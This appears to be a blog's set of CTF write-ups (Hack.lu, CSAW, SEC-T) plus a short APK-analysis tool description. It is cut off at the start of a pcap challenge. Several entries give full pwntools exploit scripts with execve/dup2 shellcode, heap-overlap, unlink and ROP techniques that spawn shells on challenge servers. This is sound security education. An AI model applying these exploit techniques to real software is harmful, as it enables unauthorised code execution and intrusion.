Hack.lu CTF : bit Writeup

Solved by sherl0ck

For this challenge we were given a 64 bit, stripped ELF binary.

The protections enabled were –

$ checksec bit
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : FULL

As will be seen, enabling NX and Relro has no effect on the exploit !

The disassembly of this binary is pretty small. What this binary actually does is this –

  • takes in an address in hex and another integer (say n)
  • if n is not less than or equal to 7, it returns -1
  • page aligns the address and gives it “read write execute” permissions
  • flips the nth last bit of the value present at the given address
  • revokes the “write” permission of the page

The flipping of the bit actually means converting the bit to zero if it was previously one and vice versa.  So in this binary we can flip a bit at any address, even the text segment !

In order to exploit this binary, I called the main function over and over. This can  done by flipping a bit at the address of the second call to mprotect.

0x400713: call   0x400520 <mprotect@plt>

Note the address that the entry point of this binary is at the address 0x400540.

0x400540: xor ebp,ebp
0x400542: mov r9,rdx
0x400545: pop rsi
0x400546: mov rdx,rsp
0x400549: and rsp,0xfffffffffffffff0
0x40054d: push rax
0x40054e: push rsp
0x40054f: mov r8,0x4007c0
0x400556: mov rcx,0x400740
0x40055d: mov rdi,0x400636
0x400564: call 0x400500 <__libc_start_main@plt>

In the second call to mprotect the address that is being called (i.e 0x400520) will represented as ‘0xffffe08’ in the memory (basically current rip + 0xffffe08). The address we want to call is 0x400540. Subtracting the current value of rip (0x400718) from this, we get ‘0xfffffe28’. Representing both these value’s in binary –

0xfffffe08: 11111111111111111111111000001000

0xfffffe28: 11111111111111111111111000101000

Notice that only the 5th last bit is different in both (counting starts from zero). So if we just flip that bit we can actually call main again. Thus we just have to flip the 5th bit at the address 0x400714 (the first byte of the address 0x400713 is the opcode of call). Now again, note what happens if the integer, n, that we entered is greater than 7 –

0x400690: jmp    0x40071d

So we can actually start writing a shellcode at this address. This has to be done by flipping a bit at an address till it is equal to the bit in the shellcode. After the shellcode has been written into the text segment, we just have to give an integer that is greater than 7 and the program will start executing the shellcode !

So here’s a summary of the exploit :

  • Give in the input 400714:5. This will flip the 5th last bit at 0x400714 thus effectively changing the code from “call 0x400520” to “call 0x400540” which results in the binary calling main() again and again as long as the input is valid.
  • Start writing the shellcode at the address  0x40071d. For more details on this refer the make function in the following exploit script.
  • Give an address (any number for that matter 🙂 ) followed by an integer greater than 7. This will result in a jump to shellcode.

Here’s my exploit script (can’t say it’s the most efficient 😛 ) –

from pwn import *
import sys

if len(sys.argv)>1:
    r=remote("flatearth.fluxfingers.net", 1744)
else:
    r=process('./bit')

e=ELF('./bit')
addr1=0x400714
arr=e.read(0x40071d, 27)
print "Read address"
shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
target=0x40071d

def change(addr,idx):
    r.sendline(hex(addr).replace('0x','')+":"+str(idx))

def make():
    for i in range(27):
        diff=ord(arr[i])^ord(shellcode[i])  # after a xor, the bits corresponding to 1 differ in the original
        itr=format(diff,'07b').count('1')   #itr is the no. of ones present in binary representation of the i byte
        for j in range(itr):   # iterate till the byte is equal to the corresponding shellcode byte
            idx=format(diff,'07b')[::-1].find('1')  # idx is the first 1 from the end, i.e the index of the last differing bit
            change(target+i,idx)  # write it in the code
            ''' Updating the value of diff to account for the bit we just flipped '''
            fmt=format(diff,'07b')
            tmp=list(fmt)
            if tmp[len(tmp)-idx-1]=='0':
                tmp[len(tmp)-idx-1]='1'
            else:
                tmp[len(tmp)-idx-1]='0'
            t="".join(tmp)
            diff=int('0b'+t,2)

change(addr1,5)  # changing call mprotect to call __libc_start_main
make()   # write the shellcode in the text segment
r.sendline("23123:9")   # jump to shellcode
r.interactive()

Running this script gives us the shell and thus the flag.

Flag : FLAG{one_bit_to_rule_them_all}

 

Advertisements

Hack.lu 2017 Exam Write up

Solved by 4rbit3r

This was the first challenge that I attempted from Hack.lu. It was a relatively easy challenge compared to the other higher point challenges.

The binary is 64 bit and has the following protections enabled

CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL

Thankfully, the binary isn’t stripped which saves a lot of time while debugging.

The binary is another menu driven program that stores objects on the heap.

It has the same add, remove, view functionalities. No edit functionality though.

There are three other functionalities provided in addition to these.

The first two are handle_create_crib and handle_tear_crib which does a couple of operations based on the objects that we’ve allocated. I didn’t really focus on reversing those functions. All I noticed was that handle_create_crib allocated a chunk on the heap and handle_tear_crib freed that chunk.

The third functionality, called handle_exam calls system if the first 8 bytes of a chunk was “ITSMAGIC”. Should be pretty easy to do that once we get an overflow.

We’re allowed to create a maximum of 5 objects. Each time an object is created, it is put into the first available location in a table. And when an object is removed, the corresponding table entry is cleared. So no chance of a UAF there.

Also, each object is of size 0x88 and the first 8 bytes are set to “ITSSTUDY” upon allocation.

The vulnerability lies in the get_line function which reads input into a buffer.

a

And here’s get_line.

a

So the terminating condition is ctr > len. So the loop runs from 0 to len which is effectively len+1 times.

So we have a single byte overflow which can be used to corrupt the size field of the next chunk.

So we can perform the House of Einherjar technique here to get an overlapping chunk.

House of Einherjar

Supposed chunk A is being freed. When free checks the size field of A and sees that the PREV_INUSE bit is not set, it assumes that the previous chunk is also free (let’s call this B). Now in order to traverse to the chunk B, it has to obtain the PREV_SZ of A. If the PREV_SZ is a value x, then it obtains the address of chunk B by calculating

B = A – x

Now, if B is a chunk which has been put into an unsorted bin, then B has to be unlinked before backward coalescing can take place. Here you have the unlink sanity check which was introduced to remove the arbitrary write caused by the old unlink vulnerability. However, this merely checks if the BK of the next chunk points to this one itself.

P->FD->BK == P and P->BK->FD == P

Once B has been unlinked, then backward coalescing can take place. This merges the two chunks A and B and then puts the merged chunk into the appropriate unsorted bin.

The important point here is that free can never check if there are any chunks in between A and B. The only way it calculates the address of B is using the equation written above.

So if we control the PREV_SZ field of A, we can cause merging of two chunks which need not be contiguous.

In order to do the same, we need to create 3 chunks of size larger than 128 bytes on the heap (say A, B, C).

Before corrupting :

| 0 | 0x91 |   A (free)| 0 | 0x90 |   B   | 0 | 0x91|   C  |  top_chunk  |

After corrupting:

| 0 | 0x91 |   A (free)| 0 | 0x90 |   B   | x | 0x90|   C   | top_chunk |
(x = C – A)

After merging:

| 0 | (large size) |    top_chunk    | 0 | 0x90 |    B    |….

Now we free A. And then, we corrupt the size field of C to unset the PREV_INUSE bit. Also, we fake the PREV_SZ of C such that C – PREV_SZ points to A. Since A is already in an unsorted bin, unlinking A shouldn’t cause any issues. Now, once all the setup is complete, freeing C will merge A and C which covers the chunk B which is still in use.

So, we can use this method here, to get a free chunk that overlaps an in use chunk.

But the flaw in this idea right now is that every object is of size 0x88. So, even if we get a free chunk that overlaps an in use chunk, we won’t be able to corrupt the first 8 bytes of the object.

This is where the handle_create_crib comes into use. This function allocates a chunk on the heap. So the second chunk we allocate from the overlapping free chunk will cover the chunk created by handle_create_crib and some parts of the next object that is allocated.

We can then use this last chunk to overwrite the first 8 bytes of an object and then call handle_exam to get a shell.

And that worked, without a hitch. Here’s the script.

from pwn import *

prompt = '> '
a, r, s, c, t, e = '1', '2', '3', '4', '5', '6'

def add(payload):
    p.sendlineafter(prompt, a)
    if len(payload) < 0x80:
        payload += '\n'
    p.sendafter(prompt, payload)


def remove(idx):
    p.sendlineafter(prompt, r)
    p.sendlineafter(prompt, str(idx))
    return p.recvlines(2)


def view(idx):
    p.sendlineafter(prompt, s)
    p.sendlineafter(prompt, str(idx))
    p.recvuntil(':\n')
    return p.recvline()


def create_crib():
    p.sendlineafter(prompt, c)
    p.recvuntil('Result:\n')
    return p.recvline()


def tear():
    p.sendlineafter(prompt, t)


def exam(idx):
    p.sendlineafter(prompt, e)
    p.sendlineafter(prompt, str(idx))


if __name__ == '__main__':
    if sys.argv[1] == 'local':
        p = process('./exam', env={'LD_PRELOAD': './libc.so.6'})
    else:
        p = remote('flatearth.fluxfingers.net', 1745)
    add('A'*0x60)
    create_crib()
    add('A'*0x60)
    add('A'*0x60)
    add('A'*0x60)
    remove(2)
    payload = ''.ljust(0x78, 'A') + p64(0x1e0) + '\x90'
    add(payload)
    remove(0)
    remove(3)
    add('A'*0x8)
    payload = fit({0x28: p64(0x434947414d535449)+'/bin/sh\x00'})
    add(payload)
    exam(1)
    p.interactive()

SEC-T CTF: G1bs0n Writeup

Solved by sh1v and sherl0ck

First of all kudos to the admins for conducting such a great CTF. The challenges were really cool and we had loads of fun solving them.

Now getting to this particular challenge, we were given a 326 MB file, which when unpacked, amounted to about 1.1 GB. We were told to find the virus in the dump. Seeing the size of the file, we first scanned the file with volatility and sure enough –

imageinfo

We chose the ‘Win2008R2SP1x64’ profile and viewed the running processes at the time the dump was taken with volatility’s ‘pslist’ plugin .

pslist

Here we spent some time, without any luck, going through the processes and checking if any of them was malicious.  We also checked the ‘Command Prompt’ history for some malicious commands. We used Volatility’s ‘consoles’ plugin to do this, but again we found nothing. Finally, we got really frustrated and were try some other chall when we got the idea to search for .bat files (batch files). Using the ‘filescan’ plugin we found something that got our interest right back into the challenge.

hackbat

Notice that the third file found has a name hack.bat. This looked like a suspicious batch file and we decided to dump this file and inspect it’s contents using the dumpfiles plugin.

$volatility -f G1bs0n –profile=Win2008R2SP1x64 dumpfiles -Q 0x000000003eef7e20 -D ./dumps

Here are the contents of the file –

hackbat

Let’s focus only on the interesting parts of this file. We see that a zip file was expanded in the folder ” C:\T3MP\ ” and a powershell script (z.psl) was executed from the same folder. Also note that from the same folder, a registry key was added from run.reg and another batch file, run.bat was executed. We dumped the run.bat using the similar process as we did for hack.bat and found these as it’s contents –

REM “Hack the Planet!”
cmd /c “powershell -c C:\T3MP\run.ps1

So it’s basically executing a powershell script ‘ run.ps1 ‘. At this point we decided to check all files in the C:\T3MP folder.

t3mp

We dumped all three files using the dumpfiles plugin. Here are the contents of the file gibson.jpgp –

��UEsDBAoAAAAAAAmwGEvuaJWCPQAAAD0AAAAHAAAAcnVuLmJhdFJFTSAiSGFjayB0aGUgUGxhbmV0ISINCmNtZCAvYyAicG93ZXJzaGVsbCAtYyBDOlxUM01QXHJ1bi5wczFQSwMEFAAAAAgATKsYS7vO2B0OAgAAHhAAAAcAAABydW4ucHMxtVdtS8MwEP5e6H8IZVCEDV8Q/aIfZu1U8KWslSEIMl3QQWmlG+6LP950WZq0SZprOiFpk9zdk7tL8yQdvKdzdIm8OAwSsQbJhBShZ1cUsOWrWbvPU7eAYJjkriOiXI3j8OyU9aKY97m0icZHYUMcnT+blWvX7SogKbKmRRtKTwg5eJZEWT+KNcCqrJwcHZ/TcdaTR8q3Oot8SpUjKh/ModKWIgTIggFh6ok0r5sGmpba+ii0AKGwjFIpbe8nm9xF20SqEHhL2NTVgObLrxpiEWOTx9V7Xs6eqFHvVeaAL8M0xCrcAhK767CtzGsXNgVQtx2kbG0+ROq6cOrnNgcdGb+FUuUpOKdJHK+e1rzVWG0BpK3Gt9CV27n7NqS+tdkDn+r7dD44MqvtswwvymdX8ibivrzd1WUARKsjRn4FTMBOEQhHV8WOmKHsKFtCZrWCEc9OOOMGlnfYftSquRb/y0URzoR9+NZ1utAI4FpmseH60aHrmL0H3oW0Z9xw994PJ7mO+coBvYUwdy22E5AjPNcZZHhDfoG3f8KjAn+n8w+MfKLhD/03v5JvX1xeLhhReNUqUHyicqhViWIi/tWKyzCJAiIKs2K5xqPbfLXeKU3yAqObAuNMFNYUvZenZzSehigJpw93j+MkvPZ2hlO8cJ0gxfNiFP7gbH2ffyJvtswW+WaFonyDi/gLp6n3B1BLAwQUAAAACAD8qhxL+BzmnaYBAACmBgAABwAAAHJ1bi5yZWftlctOwlAQhv+1ie+APoAhUTcmLhBRUVADKF5qCKJiE2xJLVEWvrr6zVRRCAku1BVpzpnrmZl/eqZ9e20qVKQbxXrSo3Kq6VZdhfCpEg3RlLCGSLESpFPsCdYQOUJe14ryPIta8HWpPR1w5lwtFXVCvBrSoRpqIdVVQg6gse6UkrNNtFs0VSJ24GNiuw3deG0B8QZ44I82nagkIO4AeuVVLJMxxufeI3TJ18e7g9RWD+smK2AVtQENqG6VCo6dTywOqK7xTfGZhqyiI84WoC1VoUVsZXKWDBu2HSI20YP9R9hy1qGZCLMzPaRuppnAVYDrYBnYae/YCbvFqGRvdNSdtp0h+7Xni6wjSE/+jm/oSX78+ZcezEJ/DO15lBDLo2cZGiqkhxGynt1f70ZkN8D8rUNo+i7FU9AuW5XUm/ugS3BNldh3wdFwZAXXVtHWecxexrIHx+6+W25rwG1jM00Fat368qllPtmtmq/5+tP1u9Natqn0mYzYU/8zPKvv36PE9BbJZs2m2P8Yw8+pnPr9fdE+81WnnlXoms7gdqkq75qLbzPyDlBLAQI/AAoAAAAAAAmwGEvuaJWCPQAAAD0AAAAHACQAAAAAAAAAIAAAAAAAAABydW4uYmF0CgAgAAAAAAABABgAChiDmxMd0wGg+7yOPxnTAWY3uI4/GdMBUEsBAj8AFAAAAAgATKsYS7vO2B0OAgAAHhAAAAcAJAAAAAAAAAAgAAAAYgAAAHJ1bi5wczEKACAAAAAAAAEAGAAoC7/eDh3TAatdNRo+GdMBq101Gj4Z0wFQSwECPwAUAAAACAD8qhxL+BzmnaYBAACmBgAABwAkAAAAAAAAACAAAACVAgAAcnVuLnJlZwoAIAAAAAAAAQAYADT/dTAzINMB/g6BGD4Z0wH+DoEYPhnTAVBLBQYAAAAAAwADAAsBAABgBAAAAAA=

The data is clearly encoded in base64. We decrypted the data and saved it in a file. We just ran the file command on the file and surprise –

$ file out_file

out_file: Zip archive data, at least v1.0 to extract

It’s a zip file ! We unziped it and got 3 files – run.bat, run.ps1 and run.reg. The run.bat was the same as the one we got before. Here are the contents of run.ps1 –

runps1

We replicated the function of this script in python and got this –

mess

“Mess With The Best Die Like The Rest”. Hmm, nice quote but it does not really help us :). So we inspected the contents of the run.reg file. Towards the end of this file we saw something interesting –

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Security]
“Special”=”}JGS_3G4X_GH0_3Z”

Reversing the last part-

Z3_0HG_X4G3_SGJ}

Now this looks like the last part of the flag. All we have to do now is to find the first part ! Here we had to guess a bit. One thing we found in the beginning was that there was a user named plauge  and GIBSON$-

username

We decided to check the files associated with those two users with the filescan plugin. Checking plauge’s files we got this path that looked pretty interesting (due to leet speak :P) –

0x000000003fe14390 16 0 R–rwd \Device\HarddiskVolume2\Users\plauge\Desktop\g4rb4g3.txt

We dumped this file and got this –

“_X43EUC_3H64YC{GPRF”

Reversing this –

FRPG{CY46H3_CUE34X_

Concatenating this with the later part of the flag that we already got –

FRPG{CY46H3_CUE34X_Z3_0HG_X4G3_SGJ}

Decrypting this using rot-13 Caesar Cipher (the first 4 letters have to be SECT, from which we get the rotation factor as 13)

SECT{PL46U3_PHR34K_M3_0UT_K4T3_FTW}
Yes ! Finally the flag !:)
Cheers !

Adhrit: Android APK Reconnaissance Tool

Introduction:

When Android started ruling the mobile markets with millions of applications and open source ROM projects, lot of security issues were tailing the world’s largest mobile market dominator.
The count of malwares detected has been continually improving on large malware databases. The need of this moment is an approach to tackle this situation which is possible with the aid of detailed analysis. Android applications on third-party sites could be infected with malicious code. Reversing the application and looking into its contents can be useful when it comes to analysis. Adhrit is one such tool developed for analysis of Android applications. The tool was written mainly for aiding malware analysis and for CTFs, where time is an important factor and automation comes in as a blessing.

Working:

Adhrit combines many open source tools to cut down the amount of time spent on the process of reversing apks, which is, time consuming when approached manually, and extracting information from it. For instance, to extract the source code of an apk file in smali, one has to use apktool and then when he needs the source code in Java, he would have to rely upon dex2jar and then use a Java decompiler to view the JAR. But the tool can do all this in less than a 20 seconds!
This tool holds flexibility as one of its priorities and lets the user decide what amount of information he would want from any given apk file. The effort is to make the tool as compact as possible by isolating the individual tools from the Android SDK. This also relieves the user from the burden of installing and configuring the Android SDK.

What Adhrit Can Do?

  • Extract the APK contents into a directory
  • Dump certificate details
  • Extract source code in Smali
  • Extract source code in Java
  • Recompile smali back into APK
  • Parse binary Manifest XML into readable XML
  • Search for native libraries
  • Analyze permissions used by the application
  • Check for malware footprints in the VirusTotal database

How Is It Useful?

  • Build custom/patched APKs if necessary in CTFs. Java source and the AndroidManifest.xml is extracted by the tool.
  • Build APK mods using the smali code extracted using APK Tool. This is especially useful when you can inject the smali bytecode.
  • Analyse source code.
  • Check if a given apk is legitimate or a malicious copy of the given legitimate app. This is where the certificate plays the role. For example, suppose you have an apk file of WhatsApp gathered from a third-party site. If the apk has been tampered and recompiled, it can’t be signed with the same signature as Facebook.
  • Check if the malware is listed on VirusTotal.
  • Check if the apk has native libraries and if yes, then get the dump of the headers of the binary for analysis.

Can I Reuse Adhrit?

Cent percent yes! You can use any part of this code and even few of the slightly modified tools (which are again, open source tools built by wonderful developers.) in your projects with proper credits and under open source license constraints.

Where do I find?

The project is still under progress and will implement dynamic analysis techniques too.
Follow ADHRIT project on GitHub for continual updates.

Good day! 🙂

 

CSAW Quals 2017: Zone Writeup

In this challenge we were given 64 bit, dynamically linked, stripped LSB executable.

First let’s take a look at the protections enforced on the binary :

gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

Okay, so only Canary and NX.

Now coming to the binary , the disassembly of the executable is pretty huge and I did not reverse the whole thing but only a part of the binary. It basically mmaps 4 chunks of size 0x1000 and splits each of the four chunks into equal sizes of 0x40+16, 0x80+16, 0x100+16 and 0x200+16 respectively. Lets call the arena of each of the large chunks (of size 0x1000) as freelist because, well, they are empty and free to be used. The 16 bytes in each of the smaller chunks is for the metadata (size and next pointer) of the smaller chunk. The following is the structure of each of the smaller chunks.

first 8 bytes – Size (i.e 0x40, 0x80, 0x100 or 0x200)

Next 8 bytes – Pointer to next free chunk

Next size bytes – data

Here is a diagram to make things clearer.

small-chunk

The structure repeats throughout each of the bigger chunks (of size  0x1000 each). Now there are also pointers to the first free chunk in each of the 4 arena’s (of size 0x40, 0x80, 0x100 or 0x200).

The binary is menu driven with 5 functions – allocate block, delete block, write to last block, print last block and exit. Lets take a closer look at each of the functions.

The allocate function takes in the size of the chunk to be allocated and based on that unlinks a chunk from the corresponding freelist.

The write function writes to the the data part of the last allocated block using for loop that reads in a character at a time.

The delete function takes in the address of the last allocated block. It then checks the size of the block (present in the first 8 bytes of the block). If the size is either of 0x40, 0x80, 0x100,0x200 it inserts the chunk in the beginning of the corresponding freelist. Now this is the first free chunk in the corresponding arena and when the next allocation of a chunk of this arena is needed, this chunk will be returned.

The print function prints the data part of the last allocated chunk and the exit function…, well it causes the main to return, exiting the function :).

Now let’s come to the vulnerability in this binary. Firstly notice that the binary is printing an address, which is actually a stack address. So the stack leak is given to us. Now take a look at the write functionality’s for loop that actually writes into the chunk.

ida_read

The for loop is running from i=0 to i<=size. Notice the =.  So we can read in one byte more than the size we entered. Now if we allocate a chunk of, say, 0x40 bytes then we can overwrite the size of the next chunk. Let’s say we changed the size of the next chunk to 0x80. Now when the next chunk, let’s name it chunk A, is deleted, it will be placed in the arena with chunks of size 0x80. So when the next allocation of a chunk of size 0x80 takes place chunk A, of size 0x40, is returned. Since we can write upto 0x80 bytes and our chunk is only 0x40 bytes, we can overwrite the next pointer of the chunk immediately following chunk A, which will be a chunk of size 0x40, since we have basically overflowed a chunk in the arena with chunks of size 0x40. So when the next chunk of size 0x40  is allocated the pointer to the first free chunk of the arena with size 0x40 points to the address in the next pointer of the currently allocated chunk, which is the value which we have overwritten.

Now, we already have a stack leak, so we know the address of saved eip. If we overwrite the next pointer with address of saved eip – 0x10, when the next chunk is allocated, the pointer to the first free chunk of the arena, points to saved eip – 0x10. So the next block to be allocated will start start at saved eip-0x10, and we have write access to (saved eip) – 0x10 + 0x10 = saved eip (the first 0x10 bytes of the chunk are metadata, i.e they contain the size and next pointer of chunk).

This diagram explains the overflow :

exploit.png

Now if we print the data in this chunk, the data in the saved eip, which is a libc address, will be printed out. So we can find the addresses of system and a pointer to ‘/bin/sh’. After this we can use the write functionality to overwrite saved eip with a gadget to pop rdi, followed by address of pointer to ‘/bin/sh’, followed by the address of system. After this, if we invoke the exit functionality, the gadget is executed and the pointer to ‘/bin/sh’ is put in rdi. Then system is executed giving us the shell and yessssss the flag :).

So lets put together our exploit –

  • Allocate a chunk of size 0x40
  • Write 64 bytes of junk followed by 0x80 (i.e chr(0x80) 0r ‘\x80’)
  • Allocate another chunk of 0x40 bytes (the size field of this chunk has been corrupted to 0x80)
  • Delete this chunk (head of free list of chunks of size 0x80 will point to this chunk now)
  • Allocate a chunk of size 0x80 (chunk of size 0x40 is returned)
  • Write 0x40 bytes of junk followed by ‘\x40’ (overwrite the size field of next chunk with the correct size) followed by saved eip – 0x10 (over write next pointer of next chunk with address of saved eip – 0x10)
  • Allocate a chunk of size 0x40 (the chunk whose next pointer we overwrote is returned)
  • Allocate another chunk of size 0x40 (this chunk will lie in the stack and start at sved eip – 0x10 => address of data field of this chunk = saved eip)
  •  Print contents of this chunk (libc leak)
  • Write address of gadget, followed by pointer to ‘/bin/sh’, followed by address of system.
  • Exit the program.

Here’s the python script for the exploit :

from pwn import *
import sys

if len(sys.argv) > 1:
    r=remote('pwn.chal.csaw.io',5223)
else:
    r=process('./true')

pop_rdi=0x0000000000404653 # pop rdi ; ret
pop_rsi=0x00000000004051f8 # pop rsi ; ret

def get_stack_addr():
    r.recvuntil(':')
    leak=r.recvuntil('\n').strip()
    leak=int(leak,16)
    return leak

def allocate(size):
    r.recvuntil('Exit')
    r.sendline('1')
    r.sendline(str(size))

def delete():
    r.recvuntil('Exit')
    r.sendline('2')

def write(data,s=False):
    r.recvuntil('Exit')
    r.sendline('3')
    sleep(0.1)
    if s:
        r.sendline(data)
    else:
        r.send(data)

def puts():
    r.recvuntil('Exit')
    r.sendline('4')

if __name__=='__main__':

    stack = get_stack_addr()    #recieve the stack leak

    allocate(0x40)
    payload="A"*0x40+chr(0x80)  
    write(payload)              #overwrite the size of the next chunk
    allocate(0x40)              #the value in this chunks size field has been overwritten to 0x80
    delete()                    #putting chunk in head of freelist of 0x80 arena

    allocate(0x80)              #this allocates the chunks with size 0x40
    payload="A"*0x40+p64(0x40)+p64(stack+0x80-8)
    write(payload,True)         #overwrite next ptr of the next chunk

    allocate(0x40)              #now the head of free list of 0x40 arena points to saved eip-0x10
    allocate(0x40)              #allocates a chunk at saved eip-0x10 =&amp;amp;gt; data at saved eip
    puts()                      #print value at saved eip i.e libc leak

    leak=r.recvuntil('1)').replace('\n','').replace(' ','').replace('1)','').ljust(8,"\x00")
    leak=u64(leak)
    print "----------------"
    print "libc leak = "+hex(leak)
    print "----------------"
    system = leak+150368
    binsh = leak+1492199

    payload=p64(pop_rdi)
    payload+=p64(binsh)
    payload+=p64(system)

    write(payload,True)        #overwrite saved eip with payload
    r.sendline('5')            #after main returns, pop rdi pops ptr to /bin/sh in rdi and
                               #then control goes to system with arguement as ptr to /bin/sh (rdi)
    r.recvuntil('Exit')
    r.interactive()            #get the shell

And now for the best part – getting the flag 🙂

$ python exploit.py 123

[+] Opening connection to pwn.chal.csaw.io on port 5223: Done
—————-
libc leak = 0x7fd0c203f830
—————-
[*] Switching to interactive mode

$ ls
flag
zone
$ cat flag
flag{d0n7_let_m3_g3t_1n_my_z0n3}
$ exit

And so the flag was :

flag{d0n7_let_m3_g3t_1n_my_z0n3}

Cheers !!

 

CSAW Quals 2017 Writeup: minesweeper

Solved by sg004

Hello. 🙂

CSAW Quals 2017 was a nice CTF with some good challenges. I liked minesweeper as it was one of them. The program implemented a custom heap and it was fun to reverse and pwn. So let’s dive in.

This was a dynamically linked ELF 32-bit LSB executable, stripped and packed.

Running checksec on the binary gave:

CSAW_500_6

So the approach is to naturally try and use shellcode.

First, I unpacked it using UPX.

csaw_500_w_1

Now we get to the code.

What this binary does is it allows a player to set up a game and play it.

  • For playing a game there are functions where we can view the game board, uncover locations and quit.
  • For setting up, the game allows us to enter the dimensions (d1 and d2) for the game board and if d1*d2 is less than 4095, then the corresponding block is allocated to us where we input the data which will be seen on our board.

These are the 2 vulnerabilities in our code.

So, in the view board function, we see the contents of our ‘board’. So sideX*sideY bytes which we have input should be printed out. But if you look closely then you can see that sideY*sideY*sideX bytes are being printed out. This is the fault in the code which gives us our memory leaks.

csaw_500_2

Also, as given in the function for playing the game, if the game has not been initialized before, then an area of the stack is printed out. This gives us a stack leak, which I used to calculate the saved eip of main. Then, if we initialize a small chunk of, say, dimensions 3*3, then we can get a leak of the heap address.

Using these leaks we can move on to the stage of pwning this binary.

So if you look at the function where we initialize our game, one gaping mistake is visible. The size requested by us for the chunk is sideX*sideY bytes. The program asks us to input sideX*sideY bytes. But, the chunk allocated is of (sideX-1)*(sideY-1) bytes. This is an obvious overflow which allows us to overwrite the data of the FD and BK pointers of the binary. The highlighted line shows the fault.

csaw_500_3

So now we know that we can overwrite the data in the next chunk by an overflow in the next chunk. Let us also see the chunk layout once.

csaw_500_4

Notice the highlighted addresses. The chunk is in the format: size, FD, BK. Also notice the data in 0x9e004f0. It is a pointer to the list of all chunks as shown at the end.

Now we know the following: the address of the saved eip of main, the base address of the heap and a way to overflow into chunks and corrupt their FD and BK pointers. With this information, I used the unlink vulnerability.

If you look at the code of the function at address 0x8049834 in IDA you can see that unlinking is taking place, we can call this function unlink(). In the function at 0x804987D, you can see unlink() being called. It is basically the function which allocates the memory in the heap, we can call this as heap_stuff().

So in the function where we set up our game, heap_stuff() is called several times. We are concerned with the calls happening in the screenshot above. Namely, the calls at the third and the last line. So basically at the call to heap_stuff() in the third line the chunk we request gets allocated and then at the next call to heap_stuff() the chunk which the program created to print this message out:

csaw_500_5.png

gets unlinked. So, if we can overwrite the FD and BK pointers of this chunk to an address to shellcode and the saved eip of main, then we can have shell right? That is exactly what was done. The only thing to look out for is the process of unlinking.

Say, for a chunk at address A, unlinking works as follows:

  • *(*(A+4) + 8) = *(A+8)      // Logic: FD->BK = BK
  • *(*(A+8) + 4) = *(A+4)      // Logic: BK->FD = FD

So the first thing to note here is that to overwrite saved_eip of main I will be giving saved_eip-8 as the FD and the address of shellcode as the BK. Note that unlinking changes the data in both the ‘FD’ and ‘BK’ pointers. So it means that our shellcode is going to have some mangled bytes containing the FD. For this, I used a jmp instruction before actually beginning with my shellcode.

jmp 0x6

So following these steps gave the flag. On the server.

This binary connects to the user using sockets and the shell we spawn takes input from stdin and stdout. That means that even though we have a shell, we cannot give it any commands. For that, I first used the shellcode equivalent of dup2 (available on googling) and then the shellcode for execve(‘/bin/sh’, 0, 0).

That really gave the shell. 🙂

So revising:

  • Print out the board without initializing the game. This gives the stack leak and hence the address of the saved_eip of main.
  • Make a board of dimensions less than 6×6 and print it out. That gives the leak of an address in the heap.
  • Make a chunk of dimensions 14×14 and using it overwrite the FD and BK of the next chunk.
  • This next chunk is unlinked in the following section of the code which overwrites the value at saved_eip with shellcode.
  • Exit the program, this triggers the shellcode and gives shell.

Well, that is pretty much it.

The script:

from pwn import *

if __name__ == '__main__':

    if sys.argv[1] == 'local':
        p = remote('localhost', 31337)

    else:
        p = remote('pwn.chal.csaw.io', 7478)

    p.recvuntil('(Quit)\n')
    p.sendline('N')

    p.recvuntil('(Q)\n')
    p.sendline('v')

    p.recvuntil('v')
    for i in xrange(13):
        p.recvuntil('\n')

    leak = p.recvuntil('\n')
    leak = leak.strip()
    leak += p.recv(2)

    leak = leak[3:]
    leak = u32(leak)

    ret = leak + 4

    p.sendline('q')

    p.recvuntil('(Quit)\n')
    p.sendline('i')

    p.recvuntil('Y\n')
    p.sendline('B 3 3')

    p.recvuntil('X\n')
    p.sendline('AXAAAAAAA')

    p.recvuntil('(Quit)\n')
    p.sendline('n')

    p.recvuntil('(Q)\n')
    p.sendline('v')

    p.recvuntil('\x12\x00\x00\n')
    p.recvuntil('\x00')
    leak = p.recv(2)
    p.recv(1)
    leak += p.recv(2)
    leak = u32(leak)

    leak -= leak%0x1000

    p.sendline('q')

    p.recvuntil('(Quit)\n')
    p.sendline('i')

    p.recvuntil('Y\n')
    p.sendline('b 14 14')

    p.recvuntil('X\n')

    shellcode = '\xeb\x06' + '\x90'*6
    #shellcode += '\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81'
    shellcode += 'j\x02[j)X\xcd\x80H\x89\xc61\xc9V[j?X\xcd\x80A\x80\xf9\x03u\xf5j\x0bX\x99R1\xf6Vh//shh/bin\x89\xe31\xc9\xcd\x80'

    payload = fit({0:'AX'}, length=40, filler='A') + 'A'*8 #p32(ret-8) + p32(leak + 0x6c)
    payload = fit({0: payload + shellcode}, filler='\x90', length=198-14-4) + p32(0x12)
    payload += p32(ret-8) + p32(leak + 0x6c) + '\x90'*6
    p.sendline(payload)

    p.recvuntil('\n')
    p.sendline('q')

    p.interactive()

Flag: flag{h3aps4r3fun351eabf3}
Happy pwning. 🙂

CSAW Quals 2017: Missed Registration Writeup

Solved by sh!v and sherl0ck

In this challenge we had been given a tcpdump capture file (scap.pcap) and this was the accompanying text :

It’s registration day! These forms just seem longer and longer…

We loaded up the file in wireshark and found that the dump contained the details of a  registration form being submitted and acknowledged. Here is a packet that contains the form that is being submitted :

wireshark-n

